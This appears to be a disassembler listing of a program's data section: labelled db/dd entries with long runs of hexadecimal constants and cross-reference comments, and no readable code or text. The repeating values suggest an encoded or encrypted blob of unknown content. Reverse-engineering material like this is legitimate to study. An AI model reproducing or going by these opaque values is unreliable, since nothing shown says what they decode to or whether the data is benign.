byte_5C3A41	db 0CCh, 53h		; DATA XREF: ___:off_438438o
byte_5C3A43	db 61h			; DATA XREF: ___:off_43A570o
dword_5C3A44	dd 4432156Ch, 0A43A9C4Dh, 0A6941230h, 77530FD4h, 0C76C3152h
					; DATA XREF: ___:off_43A568o
		dd 24DB11A2h, 6D321566h
		db 13h,	66h, 27h
		db 0E3h
		dd 1D8F9650h, 2334014Ah, 11E39169h, 0EE521566h,	0B8C3FEE7h
		dd 0AF3D749Ah, 11321567h, 0CDBF2E9Ah, 4B340177h, 2232A3E2h
		dd 9C09E966h, 8E261C57h, 449B9169h, 19CA1566h, 50694EBh
		dd 14B61A60h, 4B321566h, 22320FE5h, 5B11A66h, 61321566h
		dd 44321569h, 8E66A7C7h, 93EA305Eh, 976A04FEh, 0C9E06258h
		dd 39E4D5FBh, 16BF1A60h, 0E8321566h, 0FB3D7406h, 0F1CD7495h
		dd 0E6B3759Fh, 0D035670Dh, 4432188Eh, 198BBF66h, 0EA4AD4B2h
		dd 0FC9919F5h, 4DDBE00Ch, 9E321566h, 0EA4269B0h, 6904390Dh
		dd 1463743Fh, 7BFD9C3Fh, 0CCB79C93h, 61340179h,	44321568h
		dd 0C0E0163Fh, 32E7EC13h, 0C128969Ch, 0C13D11E6h, 22321562h
		dd 70C89E06h, 8812DF8Fh, 8EB87566h, 22369069h, 0A8541566h
		dd 5538F03h, 5FE4D5FBh,	2CB11A60h, 0F8321566h, 8832156Fh
		dd 0B593BEA1h, 648A0088h, 0F8E1EA99h, 8832156Dh, 666C293Bh
		dd 48F47935h, 0E45653B9h, 0A46BA8E5h, 4B321372h, 22327DE2h
		dd 6BE1A66h, 0E8321566h, 44321F8Fh, 2C788D66h, 9E35F0A1h
		dd 90F429Ch, 1B3E7CA1h,	0A709746Eh, 17261D57h, 88009169h
		dd 54DB1566h, 0B7321566h, 0BB0D85F2h, 224CF5E0h, 47C4DD39h
		dd 19A6E927h, 53204E3h,	96B71A60h, 4B321566h, 22321EE8h
		dd 1134FC66h, 6B561566h, 669B0C60h, 0DDCCFF8Fh,	77CA7599h
		dd 510AFCE7h, 0C5B72E07h, 2D340143h, 1132B5E3h,	883EFC66h
		dd 85161566h, 4F6359CEh, 0DC775695h, 35B190A2h,	422607ABh
		dd 73B61A66h, 71321566h, 883DFC9Ah, 175D1566h, 8E7645EDh
		dd 1A3EE66Eh, 8FB9E4Ch,	0C7C774E2h, 363244DBh, 953D1560h
		dd 8832153Bh, 0B3B97306h, 2232078Eh, 942F9D66h,	0CB220466h
		dd 0F65ECAB6h, 0BB291257h, 0F94F74C0h, 8832156Fh, 3FEE37D7h
		dd 68F8E317h, 70684BBEh, 0C2AE90EBh, 54DB137Dh,	81321566h
		dd 176302A0h, 4037B989h, 3B8B63FAh, 0CB9FB154h,	0EECDEB21h
		dd 88399169h, 0C4521566h, 0A23D9F88h, 11321566h, 9B72E07h
		dd 4B340143h, 0DDCC3FE2h, 0ACB1E999h, 8E296DEAh, 6EB71A67h
		dd 0CB321566h, 11321563h, 74E3631h, 84B72E7Fh, 2D340E1Eh
		dd 113201E3h, 0DBFE066h, 446B1E82h, 0F48D1A06h,	0F853DED1h
		dd 77CDEB54h, 4BCD249Ah, 223200EEh, 9A547566h, 8839FCBFh
		dd 2E841566h, 0A2715589h, 3D3CB4D8h, 35B174ADh,	42263EF3h
		dd 8BB61A66h, 1E321577h, 88321EE9h, 0ADB37566h,	704C32EEh
		dd 70ED9E00h, 8832188Fh, 86467666h, 2DCEF7E5h, 0E218F60Eh
		dd 0D09A4F0h, 42296DCAh, 22729069h, 3DB1566h, 0D0321566h
		dd 2F58BFDDh, 0EAE2237Bh, 48351A07h, 0F5194CF7h, 0A5B79EFDh
		dd 0CB340162h, 11321572h, 0EFADD57Fh, 0D4D424E5h, 142B6817h
		dd 0FA10D392h, 0AAD91EBDh, 0BB63DAE1h, 0A56B3162h, 9409E9A9h
		dd 8E296DD2h, 44649069h, 0AB3D1566h, 11321567h,	81B79E9Ah
		dd 4B340157h, 22321DEDh, 13B61A66h, 0E8321566h,	0BB8F4007h
		dd 0BCDEA99h, 0F9524889h, 88321577h, 0F0406B9Eh, 0E96DF6EDh
		dd 81F3A933h, 26002C24h, 4420FCDFh, 52B71566h, 6CCB18ECh
		dd 15863937h, 22A6468Ch, 1F87CA09h, 70E89F39h, 0F082905Dh
		dd 0C13D137Dh, 2232152Ch, 0D4B79E9Ah, 0E8340174h, 0ADCDA269h
		dd 22321577h, 4D80AC75h, 303C60DFh, 75E880FFh, 0D18286D9h
		dd 0A86374D2h, 0A530676Dh, 0C9C4D4E7h, 0ED33C79Bh, 0A63D753Fh
		dd 84DA75A1h, 0C3321566h, 0E5BA4279h, 5C4DAFE9h, 0D3A64453h
		dd 0C1097407h, 24296DDEh, 11649069h, 82DB1566h,	30321566h
		dd 0B98E125Ah, 1E160004h, 883CFC66h, 58CE1566h,	7F613C5Dh
		dd 0BE0E4921h, 3348CD4Bh, 496390EDh, 42CA1372h,	4DEB9537h
		dd 60B37339h, 1553AC7Eh, 223214DFh, 48FD1466h, 88321D8Fh
		dd 83A77166h, 6FD9C954h, 0E0B9750Fh, 819CAD06h,	25534888h
		dd 5A8E905Dh, 943D137Dh, 8832152Bh, 4432018Fh, 0B19B6D66h
		dd 0BF2F869Ch, 8B38AAB4h, 0FEA7ECD3h, 6928604Bh, 10B61A97h
		dd 74321566h, 691F90EDh, 30DB1372h, 0F4321566h,	0CDD76883h
		dd 0B9E81C59h, 0CA704CA0h, 0B34E1D49h, 0FE8C43AEh, 0C571C36Ah
		dd 0F43E6088h, 4FC51425h, 48B72E9Eh, 4B340E1Eh,	223270E3h
		dd 1E607566h, 883215E6h, 4DDB4B66h, 7321566h, 0D702778Ah
		dd 0B2BD5230h, 79B79E07h, 0DE34016Ah, 11321C8Fh, 9A0C5566h
		dd 0F749A33Fh, 9A62D1DEh, 2470342Dh, 0BDEAE226h, 8E8FCBD3h
		dd 2D6AD267h, 113235E5h, 0A3D7566h, 44321566h, 2232068Fh
		dd 5739FD66h, 179940FEh, 37A185DEh, 9450573Dh, 4790DFB8h
		dd 0D09E907h, 42296DA2h, 225E9069h, 2DB1566h, 8C321566h
		dd 0FC88AB4Dh, 7A7EF403h, 14C01576h, 5D08DE98h,	0C1B96980h
		dd 242600A3h, 0E7B37306h, 84DBECABh, 0A8321566h, 539F6192h
		dd 8A549D96h, 0E973BD7Ah, 0BBCDAB30h, 0D51BEA99h, 14BF1A38h
		dd 0E8321566h, 25F4AA69h, 31DB7506h, 51321566h,	0A745E4AEh
		dd 0BFC46527h, 408F34C7h, 0CB168FF1h, 0A3DC56Ch, 44321566h
		dd 0A7097407h, 17296DAEh, 88439069h, 4B521566h,	223213ECh
		dd 0F0DC9466h, 7162C48Fh, 0C1B9EC07h, 24261AB7h, 11389F69h
		dd 8DDB1566h, 18321566h, 0B70BAA31h, 101AAE35h,	5BC51199h
		dd 0BAE4FEE7h, 0FD33EE66h, 953D753Dh, 88321565h, 0ACF9A269h
		dd 2232156Dh, 347AF86Bh, 0D7C2EB4Eh, 228DBA18h,	0B5C0C7E7h
		dd 973D743Fh, 88321575h, 44321B8Fh, 5597DA66h, 40D794E5h
		dd 739D6FC2h, 7F5A6D6Eh, 394AD9E3h, 3AB71A60h, 0E8321566h
		dd 25CAC2EDh, 3FB790EDh, 71521372h, 4D2CFEE7h, 0C43D4D27h
		dd 22321566h, 0A8637407h, 88321567h, 4B6BDA67h,	223214E2h
		dd 9409EC66h, 8E296DB6h, 440A9069h, 30DB1566h, 79321566h
		dd 2A284767h, 0AA9BDE0h, 5FD7F0BBh, 180D5083h, 15B79EBCh
		dd 4B340143h, 223214E7h, 0AF64EC66h, 77CDEA99h,	0AD6CE24Fh
		dd 22321560h, 0AE526313h, 0D092AEEh, 42296DBEh,	220E9069h
		dd 9C3D1566h, 88321577h, 4432198Fh, 16160966h, 76579B9Ch
		dd 0E9C9C8Fh, 51B79E4Ah, 0CB340153h, 1132156Dh,	8284E393h
		dd 0B638B22h, 70089069h, 113214DCh, 0D2E51466h,	9AB97306h
		dd 0A7097493h, 17296DB2h, 887D9069h, 0CE521566h, 9FB174A8h
		dd 1726356Fh, 0B6B71A66h, 0AD321566h, 2232156Ah, 97A83C86h
		dd 989DDC36h, 0B0AB3C37h, 3FB79E93h, 1E34016Bh,	883212E2h
		dd 45B51A66h, 0D7321566h, 0EECDAE35h, 571BEA99h, 4439FC3Dh
		dd 2F3F1566h, 0A9925DD4h, 450E5CDh, 458F96DCh, 2234017Bh
		dd 11639169h, 0F3D1566h, 4432157Dh, 22279269h, 1DB1566h
		dd 0F4321566h, 17156BC1h, 7187E8E5h, 4DC681CFh,	0B3093FBDh
		dd 5F4B75E3h, 6B71A60h,	0E4321566h, 0A72390EDh,	0CB3D1372h
		dd 22321561h, 11339169h, 0DBC71566h, 443214DDh,	79ED1466h
		dd 11339F69h, 0BCA1566h, 503B5CDBh, 0A63D1560h,	113217FEh
		dd 882C9F69h, 4B521566h, 36DBE3D1h, 0AD321566h,	0E08D1595h
		dd 478362D5h, 0D7FC77CCh, 733B0228h, 0E9918E8Dh, 755FA8E5h
		dd 2D321372h, 113072E2h, 883EFC66h, 0F3821566h,	501F6CEAh
		dd 9E732167h, 0D092572h, 42296C22h, 220F9069h, 9ACE1566h
		dd 9C2774E3h, 0B8527560h, 22321F8Fh, 0E8862D66h, 36CFD790h
		dd 256E0472h, 2232198Fh, 50324066h, 16A5D345h, 0E26780A4h
		dd 9C647473h, 11321567h, 706CE267h, 44339369h, 19CE1566h
		dd 0A4B41E3h, 0B5B71A60h
		dd 24321566h, 2232078Eh, 45CFA566h, 0B45FC5E7h,	0F802ED28h
		dd 5A676A74h, 0F82EDCC9h, 8832156Fh, 25507AB5h,	3D29E847h
		dd 0AB524DFDh, 0A3EAE0ABh, 0C1B97407h, 24263BA3h, 3DB14293h
		dd 746DEA42h, 3D7A905Dh, 0A73D137Dh, 1132150Eh,	883E9569h
		dd 0C03D1566h, 22321560h, 11329669h, 0E3D1566h,	44321567h
		dd 2BB79E9Fh, 1E340147h, 88321DEDh, 46BA1A66h, 42321566h
		dd 0AF64ED07h, 0A85400BDh, 72C1F3E7h, 0D4B30C1Eh, 2FBB3702h
		dd 0BE8AFBE7h, 0B31B2B8Fh, 2D527538h, 113215E5h, 0E96C4366h
		dd 4439FD36h, 0F9B21566h, 52FBD9A8h, 5704A73Dh,	256B4B54h
		dd 5B6A905Dh, 943D137Dh, 88321535h, 4432198Fh, 965E9C66h
		dd 54E3673Bh, 2A98D605h, 61B79E10h, 2D34017Bh, 11321EECh
		dd 8834FC66h, 2AEF1566h, 7133DE1Dh, 3A6AAB30h, 66F30E5Dh
		dd 41DCD461h, 0E4B3C391h, 7D006A4Bh, 0BCB5D3E7h, 0B33386A9h
		dd 2AB51A38h, 1E321566h, 883217E5h, 7F537566h, 394B49E3h
		dd 41B71A60h, 0E8321566h, 44379769h, 0A3541566h, 9A623E88h
		dd 33D74BFh, 4432157Dh,	2223FC06h, 0B121566h, 8D1E25EEh
		dd 2F6A582Eh, 371B30CDh, 7735623Fh, 353DBEDh, 503B4CE3h
		dd 44807560h, 0EE8F4007h, 0A1CDEA99h, 0C5524889h, 91A52786h
		dd 6B80AE7Eh, 0B35369BAh, 5F4B59E3h, 1AB71A60h,	1E321566h
		dd 883219E2h, 9FB37566h, 6E5EADB2h, 40B2AD00h, 11B79E07h
		dd 0B8340168h, 5237AC37h, 0F0E3054Dh, 0E9FB942Fh, 0C536A641h
		dd 2A2A8DA7h, 48FD14BDh, 88339469h, 7FCA1566h, 394B45E3h
		dd 54B71A60h, 87321566h, 44320DEAh, 2221FC66h, 4FB01566h
		dd 89D7644Eh, 2498DCC3h, 0D24490C5h, 504CAC21h,	0F5B79ED7h
		dd 0BC340162h, 0DDCDAB30h, 0E61BEA99h, 99B61A38h, 0AD321566h
		dd 2232156Ah, 0D59F8C86h, 0E6D06003h, 9B276AB4h, 135FA8E5h
		dd 1E321372h, 883826E2h, 43B11A66h, 42321566h, 77DC9400h
		dd 0D097446h, 42296DBAh, 221E9069h, 90521566h, 65EE5B91h
		dd 25F39E70h, 22339E69h, 9ACB1566h, 9C2B24E3h, 4434FC60h
		dd 60A11566h, 0D906178Ch, 8833AE35h, 9B331566h,	0A709E03Dh
		dd 17296C16h, 88659069h, 0C13D1566h, 22321567h,	70B79E9Fh
		dd 61340164h, 4432156Eh, 33AB39C2h, 23A30509h, 0BB5EAD36h
		dd 94C51E51h, 0FAC5CD91h, 0D9FE814Bh, 0D0F53C92h, 0C73D759Eh
		dd 22321564h, 0F9527406h, 88321576h, 1EC3200Bh,	611139C0h
		dd 5A712CD3h, 0F2DA129Eh, 44BA1A3Eh, 43321566h,	0F1B72E07h
		dd 87340E1Eh, 44325BE3h, 0AE3D7566h, 11321565h,	0EE68FBE6h
		dd 0CF53C3EDh, 36170CE3h, 1121FC60h, 1F751566h,	23FCC8Fh
		dd 0F99B65DCh, 51C42247h, 0F80869A6h, 458C434Fh, 23321566h
		dd 5DB4B91h, 7E321566h,	97641F3Eh, 196B1477h, 1B507D2h
		dd 0DB7194DFh, 7FE35679h, 394AF1E3h, 53B71A60h,	87321566h
		dd 443202EDh, 2220FC66h, 5FA1566h, 2AF18E2Dh, 83E3F173h
		dd 0F061BDE8h, 1E6701F4h, 9A8790EDh, 54DB1372h,	0B7321566h
		dd 18EDC622h, 277FBCDCh, 0B165F7F2h, 70ACE34Bh,	113214DCh
		dd 0D2E51466h, 0ACB72E9Ah, 2D340E1Eh, 11327BE3h, 8822FC66h
		dd 0A9B31566h, 0A9B84B72h, 9E40EE0Fh, 580FB4D9h, 0C1B94B2Fh
		dd 24263E53h, 0F3B37506h, 8C5D8BE6h, 44321C8Eh,	0FCFEE066h
		dd 406A96E6h, 0E9688AC7h, 44321F8Eh, 3CCC9B66h,	0BD210433h
		dd 3D7930Fh, 4B534B95h,	223219E6h, 1135FC66h, 0E3861566h
		dd 85FE5391h, 308847E6h, 9029643Eh, 3067A894h, 14F0945Ch
		dd 0BEC2394h, 2AC74FB1h, 934AF9E3h, 72B71A60h, 0DB321566h
		dd 313BA8E5h, 87321372h, 44323DE3h, 2EBC1A66h, 1E321566h
		dd 883213E2h, 44B01A66h, 0A9321566h, 5100CE3h, 0EECA7560h
		dd 1253CDEDh, 223214D8h, 4FC51466h, 78B72E9Ah, 4B340E1Eh
		dd 22327CE3h, 1EBA1A66h, 61321566h, 4432156Ch, 702C509Ch
		dd 6DE8DBA7h, 0DB9BA72h, 42263443h, 0A2D79F06h,	1E534390h
		dd 883202E3h, 4420FC66h, 6BE81566h, 4A7F0826h, 0F0D54232h
		dd 34A32BD7h, 7D98140h,	0EECDAF34h, 5F1BEA99h, 443FFC3Ch
		dd 6081566h, 0EE4B0B9Ch, 8C9ADCE5h, 24411A4Bh, 0D0B6A3DCh
		dd 9B3D4203h, 88321566h, 0C109743Dh, 24296D92h,	11779069h
		dd 83D1566h, 44321567h,	2B8F969Eh, 11340146h, 88039069h
		dd 48DB1566h, 18321566h, 0BA5FCCEFh, 1A401131h,	0CFAE9792h
		dd 361BA8E3h, 0E6B97560h, 0E9CC9E00h, 0BBCDAE35h, 0FD1BEA99h
		dd 1137FC3Dh, 27051566h, 7F536A18h, 394AEDE3h, 48B71A60h
		dd 61321566h, 44321577h, 220D9335h, 75DC8B6Dh, 21B85160h
		dd 3A3F141Bh, 1BB79E2Bh, 0F834017Bh, 8832156Eh,	0D07FB931h
		dd 0EAC000AEh, 11239A69h, 93D1566h, 4432156Dh, 2232138Fh
		dd 0D2D9DF66h, 0D9ABD214h, 443214DFh, 7BFD1466h, 11389069h
		dd 87521566h, 0A58DC3D9h, 432D8841h, 69CE905Dh,	0D3D137Dh
		dd 4432152Dh, 22321E8Fh, 1CB1B666h, 83D4CFBEh, 0B8F6EBF2h
		dd 0EBF90EDh, 9D3D1372h, 8832156Ah, 82B37306h, 0A3540C9Dh
		dd 70C9FCBCh, 0C840AE35h, 0A7F37934h, 5D99465h,	0D0451210h
		dd 7BB31285h, 380047A3h, 3B88D6E7h, 0CE1B53EDh,	0B3C7E93Dh
		dd 5F4B11E3h, 72B71A60h, 0E9321566h, 0A83BA8E5h, 4B321372h
		dd 223257E3h, 1120FC66h, 5D7A1566h, 57415ECAh, 5B82ECB0h
		dd 0D020E3AFh, 0DD6557E8h, 740390EDh, 70C71372h, 113214DCh
		dd 0D2E51466h, 4421FD06h, 60DB1566h, 2997233Eh,	1D272862h
		dd 0CAD833A8h, 611DFCF3h, 2A534E47h, 934B15E3h,	11B71A60h
		dd 2D321566h, 11320CE8h, 8826FC66h, 2A5D1566h, 4620813h
		dd 0FC0B3212h, 4543959Ah, 5EF4895Eh, 9FB10ED8h,	1726356Fh
		dd 0A1B71A66h, 0AD321566h, 2232156Ch, 6B6C11A5h, 0EA6BB3A7h
		dd 0C1B9F5BDh, 24261657h, 1088479Eh, 89321566h,	41DB4FB1h
		dd 4A321566h, 0E68097DCh, 0F13A905Dh, 0C13D137Dh, 22321504h
		dd 1132058Fh, 0EBF61666h, 87D8D16h, 8C2DDD28h, 1CDFE5DAh
		dd 1B79EF4h, 2434016Fh,	22219369h, 1CDA1566h, 18321566h
		dd 1133E0C5h, 2CDACE8Ch, 35B533D3h, 8837FD39h, 0F5FF1566h
		dd 2D44DC9Fh, 113215EEh, 0DB534F66h, 0BBCDEADDh, 79ED3C99h
		dd 113E9769h, 0D3D1566h, 44321560h, 22329C69h, 94091566h
		dd 8E296C6Ah, 440E9069h, 32DB1566h, 3321566h, 0E029CD52h
		dd 0B8593E19h, 46AD5200h, 9A478887h, 9C30CCE3h,	0FD63E960h
		dd 22321567h, 0F86BDA67h, 88321574h, 926A77E2h,	5224FB86h
		dd 34F91A13h, 62BEA7EFh, 0C109B24Ah, 24296C76h,	111E9069h
		dd 8FDB1566h, 0FD321566h, 0D43463D5h, 94B9F7E7h, 8E2615CFh
		dd 458A459Ah, 23321566h, 1ADB4DA1h, 8D321566h, 43AF7E8Ch
		dd 7CCB9951h, 9409F7B3h, 8E296C72h, 44109069h, 0A9CB1566h
		dd 5107CE3h, 3F3D7560h,	0D7DB94BEh, 4379F4A6h, 1133AD36h
		dd 4F331566h, 0C554753Eh, 438A4994h, 682A905Dh,	0D3D137Dh
		dd 443215FBh, 22279C69h, 1DB1566h, 24321566h, 8AAC227h
		dd 0D798D9C7h, 968D9064h, 3545791h, 5022F4E3h, 24DB7560h
		dd 0E8321566h, 4DAFA44Fh, 878D1A0Fh, 223CFC07h,	0C8A01566h
		dd 11D9AD06h, 2BC862B0h, 0EB85F685h, 4D59AE35h,	0CB796AC3h
		dd 4663FEE7h, 0D1B348DEh, 30DF4F7Dh, 8769CA67h,	44320FE2h
		dd 36B31A66h, 0F8321566h, 88321569h, 4066FF42h,	0E49D1A7Fh
		dd 251EC49Dh, 0E8C9D6A4h
		dd 4432018Eh, 0A65BDF66h, 0E6CBF2A8h, 758E0492h, 0BA5A71AEh
		dd 55801756h, 36897350h, 5EB94A83h, 58B72E07h, 2D340E1Fh
		dd 113255E3h, 3CBEC66h,	501654E3h, 223EFC60h, 4E301566h
		dd 0C8F2EB6h, 693098B4h, 0CEB116EBh, 350E9C62h,	0D7161199h
		dd 44321A8Fh, 0A18A5D66h, 0A5C6B936h, 7D73CFA3h, 1992C611h
		dd 0C9B37306h, 9385411Ah, 0A8B72E07h, 4B340E1Fh, 223259E3h
		dd 1ADA7566h, 0D1321566h, 39D2CE04h, 0CF52414h,	70689F23h
		dd 0AE7790EDh, 55DB1372h, 10321566h, 0D5125305h, 8002F148h
		dd 0E6014671h, 0B8E55603h, 0EECDAC37h, 471BEA99h, 443DFC3Fh
		dd 0B2C1566h, 8C77061Eh, 0B0875517h, 86C4ECD2h,	6B72E9Bh
		dd 1E340E1Fh, 883254E3h, 443FFC66h, 52871566h, 53379BBCh
		dd 0AA708EBAh, 0CF04AB69h, 361BB0E3h, 943DE060h, 8832156Ah
		dd 44349969h, 0AA3D1566h, 11321566h, 8833A833h,	0AB331566h
		dd 25BC1A3Bh, 1E321566h, 883214EFh, 0C109E066h,	242636B3h
		dd 11039069h, 86DB1566h, 7D321566h, 8BA9CC89h, 0B59F6C6Ah
		dd 4A40C1B0h, 0BDB79E47h, 2D340170h, 113212EBh,	0D1657566h
		dd 2569D1E6h, 2233AF34h, 0C6331566h, 0B3CAEC3Ch, 5F4B3DE3h
		dd 0DB71A60h, 71321566h, 87B0C8E6h, 443217ECh, 437EA366h
		dd 49F90EDh, 43D1372h, 4432156Ah, 1864AA06h, 90545024h
		dd 0E9FDBD8Fh, 0BE03C257h, 0A570C257h, 9409E9B1h, 8E296C02h
		dd 445E9069h, 0A53D1566h, 11321568h, 88321C8Fh,	675A5A66h
		dd 0A92D1E39h, 0ACB1434Ah, 8E296C0Ah, 5AB71A66h, 0CB321566h
		dd 1132156Dh, 108549D6h, 0B1B5384Ah, 0A1608FBBh, 51E4CDBh
		dd 0C3D1560h, 44321548h, 0BBB79E9Eh, 1E340142h,	88321FE0h
		dd 4437FC66h, 0F7911566h, 41BC7333h, 77CDEADEh,	1CF53C99h
		dd 223A9569h, 90521566h, 0EE94DA97h, 0C1097458h, 24296C0Eh
		dd 11429069h, 82DB1566h, 0E4321566h, 74DAC619h,	0F9C55807h
		dd 0E48F96ECh, 44340E1Fh, 22169069h, 953D1566h,	88321567h
		dd 0F9B1ED9Ah, 2426393Fh, 2EB61A66h, 0E8321566h, 44339369h
		dd 2DCB1566h, 113215E7h, 0DB97466h, 42261EDFh, 0CA8AAA06h
		dd 1688437Fh, 0E944C119h, 1D6D4431h, 2DFD9227h,	113204E4h
		dd 83B11A66h, 0AD321566h, 22321560h, 0D1655208h, 0D09088Bh
		dd 42296C4Ah, 221F9069h, 9ACA1566h, 9C29A0E3h, 443AFC60h
		dd 47D21566h, 5BC8ADFFh, 3567810Eh, 0BBCDEA99h,	0CB6FFA4Fh
		dd 1132156Dh, 315C3EF2h, 97DA73A1h, 1992CD45h, 0A4B25E3h
		dd 0C6B71A60h, 4B321566h, 22320CE4h, 1DB7566h, 1D321566h
		dd 0C66EBC2h, 0A78ACF64h, 0E14F6BDBh, 0E8946BA2h, 0C1B97407h
		dd 24260927h, 108A459Ah, 89321566h, 0F1524DA1h,	223EFC0Eh
		dd 7E0C1566h, 0BF111581h, 250A6DDEh, 4253A2B9h,	0A741A5DFh
		dd 71851A26h, 70B72E07h, 2D340E1Fh, 113244E3h, 89B41A66h
		dd 0B1321566h, 0BAB90EDh, 1DB1372h, 56321566h, 76CD77B3h
		dd 8DC06742h, 0F388DD65h, 6156F46Bh, 44321572h,	82BE6571h
		dd 0A3A6AA7Ah, 0F155A0CFh, 70DC7B20h, 80AA7812h, 0EECDA833h
		dd 671BEA99h, 0CF54753Bh, 20B61AA4h, 0A6321566h, 0D09743Bh
		dd 42296C5Eh, 22719069h, 923D1566h, 88321561h, 44339E69h
		dd 2DCE1566h, 113214E1h, 0DB9E966h, 422605D7h, 0F8897306h
		dd 1138FC0Ch, 0F57A1566h, 0BE8349CCh, 0DB0DE07Fh, 108F4007h
		dd 89321566h, 42DB4889h, 37321566h, 188B5D17h, 0B4B72EEAh
		dd 4B340E1Fh, 223226E3h, 94B9E966h, 8E260903h, 0B3B37306h
		dd 2D52FAC0h, 113215EEh, 0F4897366h, 14537478h,	0DDCDEADEh
		dd 49F53C99h, 88321E8Fh, 0D7B8A366h, 1AFD33CBh,	5E698B88h
		dd 0F172905Dh, 0C13D137Dh, 2232155Ah, 1132128Fh, 351C1A66h
		dd 357AACBFh, 2232138Fh, 8A739D66h, 3B9EAD7h, 502B24E3h
		dd 2222FC60h, 7CE1566h,	2876D1E0h, 9002D502h, 23C0D102h
		dd 0A96205D2h, 77CDEA99h, 0BD6AD24Fh, 0A63DEA6Dh, 11321552h
		dd 33544206h, 246ACFD4h, 2DF49E00h, 7053D5D9h, 8832078Fh
		dd 86C51266h, 0C070CED2h, 0A2962DA3h, 305D5C95h, 0AD2E51A6h
		dd 0DDCDF94Ch, 0D8851A06h, 0E9E8AA69h, 7063905Dh, 0A73D1372h
		dd 11321528h, 0DEB7989Fh, 4B340E66h, 223214E7h,	12DBED66h
		dd 0E8CDEA8Ah, 44321A8Fh, 1EC9466h, 731A8CD3h, 0CFD9BBB2h
		dd 62B7C62Ch, 2232188Eh, 0D322FF66h, 710FD5E1h,	89DFA5ABh
		dd 2EDB79BAh, 81321566h, 0B2CD8F0Eh, 73E321F7h,	79B3F2C0h
		dd 9409ED07h, 8E261CDBh, 447F9069h, 75521566h, 0AF91E7E7h
		dd 366C6493h, 5D48E187h, 0AE8F9607h, 10340E1Eh,	88039069h
		dd 0C9CB1566h, 7B3972E3h, 19B01A66h, 87321566h,	443217E3h
		dd 0CB537566h, 0EECDFEE0h, 8DBC1A06h, 22321566h, 5046C4E7h
		dd 11369869h, 37541566h, 7F53B81Bh, 394A89E3h, 3FB61A60h
		dd 0E8321566h, 44309969h, 0D5B91566h, 0B1B72E07h, 87340E1Eh
		dd 44323DE3h, 30B21A66h, 0F8321566h, 8832156Bh,	0B0321718h
		dd 98B79ADEh, 351A2E5Bh, 6302FC96h, 24CBEA99h, 9DE19E00h
		dd 292E2E85h, 8CDE9607h, 0FC1611EFh, 22321566h,	0F86AD3EFh
		dd 88321560h, 2498DCC3h, 0DCB190C5h, 0A8B71A67h, 7D321566h
		dd 3CA2905Dh, 0A73D137Dh, 11321520h, 88359269h,	0C03D1566h
		dd 22321567h, 0D5B79893h, 61324DE1h, 4432156Bh,	1082593Fh
		dd 0AB54ACF9h, 0A708F0F6h, 0FC54752Ch, 4252ADC7h, 7059AF07h
		dd 0E95314DEh, 0BBD8A88Fh, 25BB1A99h, 1E321566h, 883214E6h
		dd 0C109ED66h, 24296DF2h, 11189069h, 5CA1566h, 1CBA2FE3h
		dd 0CF8B7566h, 7719D71Ch, 2589FDE7h, 0CFDBE007h, 2DCDEA8Ch
		dd 11321EE9h, 8834FC66h, 29891566h, 0F3D3C5E3h,	69AA905Dh
		dd 0D3D137Dh, 44321542h, 2232108Fh, 0F673C966h,	0DBFFFD4h
		dd 446A9D19h, 223A9E69h, 953D1566h, 88321564h, 0FDB7406h
		dd 0DBCDEA8Ch, 35369E36h, 8836D1E7h, 0C33D1566h, 22321570h
		dd 1132048Fh, 953C1566h, 5525939Dh, 1D789E9Bh, 0C7130DC2h
		dd 31633769h, 2822738Fh, 0CBF3CC91h, 50E3E263h,	0C604AE35h
		dd 0AFE3604Dh, 4447E6E7h, 0FAF30C2Eh, 9E1E262h,	196D3695h
		dd 79EB149Fh, 0ED6BDBEFh, 0D3DE36Dh, 44321570h,	0CB9BFC9Eh
		dd 1ADBEA99h, 4A321566h, 6E7A791Bh, 654056CCh, 0FDB334CDh
		dd 88321562h, 0CD1619EFh, 7BFC9CA7h, 0BCC39406h, 0EE0D16B5h
		dd 254523DFh, 26C7A0EFh, 98CB1372h, 9C13A0D3h, 43B81A60h
		dd 2D321566h, 113214EFh, 0C3DE966h, 44321561h, 22339469h
		dd 91CE1566h, 0D3DFC58h, 44321466h, 223F9269h, 0A8521566h
		dd 94C27468h, 44329D69h, 72531566h, 113214DEh, 0D9C21466h
		dd 443215DFh, 0A9F31466h, 1E6A4C5Fh, 883201E2h,	443DFC66h
		dd 2C141566h, 9723EBCDh, 0E83C38BBh, 0EB0457C1h, 2DF594E1h
		dd 1001751Eh, 878A4591h, 6D01751Eh, 9D524DA1h, 34EA9366h
		dd 0DE53E1ECh, 6D1611E7h, 7904D413h, 43FCAD36h,	2D1F2694h
		dd 6DCF25BBh, 0A43D4DA5h, 11321574h, 8832188Fh,	0BF376466h
		dd 0A9CA2A88h, 0DF36A6E1h, 0D860DD01h, 334ABDEh, 648CAF66h
		dd 0D31B1521h, 0D2E1143Eh, 0B18F2E9Eh, 2D340162h, 11322BE4h
		dd 81B31A66h, 24321566h, 0A3544B34h, 70327D94h,	0E3DEE5Dh
		dd 44321526h, 2232078Fh, 8DC97666h, 5C5EBC5Dh, 21CED5A6h
		dd 7554D95Bh, 71950FFFh, 8832138Fh, 3582F466h, 2D6D10FBh
		dd 0F853E5D1h, 77CDFD05h
		dd 4432138Fh, 89E7A466h, 71427E79h, 535AA00h, 25EA9E00h
		dd 3A87A8EDh, 0F8521372h, 88321577h, 5B8CA364h,	243D6F62h
		dd 96D97BEBh, 90C37635h, 95B37382h, 0E5536B07h,	521B4E3h
		dd 88321560h, 24CEE966h, 22339B69h, 98CE1566h, 9C13A0D3h
		dd 45BF1A60h, 0DE321566h, 0EDED88EBh, 8752137Dh, 443213ECh
		dd 0ACF59466h, 7033BC2Eh, 0E852C699h, 4BF8A269h, 0CA53EFD1h
		dd 11321576h, 0DA1ED2A9h, 0A57FE6B1h, 1C9F4E42h, 7BF2B93h
		dd 0D1E49E00h, 4BF21E07h, 22325AE2h, 0F9527566h, 88321574h
		dd 29A4A25Ch, 894DFDD4h, 2030BC5Fh, 0F8A2991h, 256BFA70h
		dd 22379B69h, 77881566h, 0E96F8578h, 4435FD06h,	1F311566h
		dd 5A4AA42Ch, 68B373F9h, 2468AC4Bh, 43534B31h, 1132968Fh
		dd 3F3D7566h, 77E494BDh, 434AFCE6h, 9FEE88EBh, 53D137Fh
		dd 4432156Ch, 2D2DA506h, 113215EFh, 5BCD7466h, 0BB779669h
		dd 25DBEA99h, 2A321566h, 880BF551h, 0F1B9B923h,	242634D3h
		dd 0B0879C93h, 61340175h, 4432156Dh, 0ECC3915h,	10D1003Dh
		dd 530C95Dh, 5EA4E3FBh,	2222FC60h, 0D8A41566h, 0A85714C3h
